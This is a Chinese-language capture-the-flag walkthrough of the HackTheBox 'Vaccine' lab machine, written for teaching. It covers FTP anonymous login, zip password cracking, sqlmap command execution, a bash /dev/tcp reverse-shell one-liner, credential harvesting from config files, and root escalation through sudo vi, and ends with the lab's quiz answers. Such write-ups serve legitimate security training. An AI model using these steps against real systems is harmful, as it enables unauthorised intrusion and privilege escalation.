HackTheBox - Vaccine 靶机渗透教学文档
靶机概述
Vaccine 是一个 HackTheBox 上的入门级靶机,主要考察以下技能:
- FTP 匿名登录
- ZIP 压缩包密码爆破
- SQL 注入利用
- PostgreSQL 数据库凭证获取
- vi 编辑器提权
信息收集阶段
1. 端口扫描
使用 nmap 进行初始扫描:
nmap -A -T3 -v 10.129.171.0
扫描结果:
- 开放端口:
- 21/tcp - FTP (支持匿名登录)
- 22/tcp - SSH
- 80/tcp - HTTP (有登录界面)
2. FTP 匿名登录
FTP 服务允许匿名登录:
ftp 10.129.171.0
用户名:Anonymous
密码:空
发现文件:
backup.zip- 使用get backup.zip下载到本地
压缩包爆破
1. 使用 zip2john 提取哈希
zip2john backup.zip > backup.hash
2. 使用 john 爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash
爆破成功,密码为:741852963
3. 解压文件
unzip -P 741852963 backup.zip
解压得到:
index.phpstyle.css
网站登录凭证获取
分析 index.php 发现关键代码:
if ($_POST["username"]==='admin' && md5($_POST["password"])==='2cb42f8734ea607eefed3b70af13bbd3') {
$_SESSION["login"] = true;
header("Location: dashboard.php");
}
解密 MD5 2cb42f8734ea607eefed3b70af13bbd3 得到密码:qwerty789
登录凭证:
- 用户名:
admin - 密码:
qwerty789
SQL 注入与 GETSHELL
1. 发现注入点
登录后发现有搜索功能,URL 参数为 search:
http://10.129.171.0/dashboard.php?search=zeus
2. 使用 sqlmap 获取 shell
sqlmap -u "http://10.129.171.0/dashboard.php?search=zeus" \
--cookie="PHPSESSID=075quf5khr2nf6k6k62m1p2m5j" \
--os-shell \
--batch
参数说明:
--cookie:指定会话 cookie 保持登录状态--os-shell:尝试获取操作系统 shell--batch:使用默认设置
3. 反弹 shell
由于 sqlmap 的 shell 不稳定,建立反弹 shell:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.92/4444 0>&1'
监听端:
nc -lvnp 4444
数据库凭证获取
在 /var/www/html/dashboard.php 中找到 PostgreSQL 连接信息:
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
获得凭证:
- 用户名:
postgres - 密码:
P@s5w0rd!
SSH 登录
使用获取的凭证通过 SSH 登录:
ssh postgres@10.129.171.0
提权阶段
1. 检查 sudo 权限
sudo -l
输出:
User postgres may run the following commands on vaccine:
(root) /usr/bin/vi /etc/postgresql/11/main/pg_hba.conf
2. 使用 vi 提权
sudo vi /etc/postgresql/11/main/pg_hba.conf
在 vi 中执行:
:set shell=/bin/bash
:shell
成功获得 root shell。
答题总结
-
Besides SSH and HTTP, what other service is hosted on this box?
ftp -
This service can be configured to allow login with any password for specific username. What is that username?
Anonymous -
What is the name of the file downloaded over this service?
backup.zip -
What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
zip2john -
What is the password for the admin user on the website?
qwerty789 -
What option can be passed to sqlmap to try to get command execution via the sql injection?
--os-shell -
What program can the postgres user run as root using sudo?
vi
关键点总结
- 始终检查 FTP 是否允许匿名登录
- 使用 zip2john + john 组合爆破压缩包密码
- 源代码分析是获取凭证的重要途径
- sqlmap 的 --os-shell 参数可用于获取 shell
- 数据库配置文件可能包含重要凭证
- sudo -l 检查可提权的命令
- vi 编辑器可以通过设置 shell 参数提权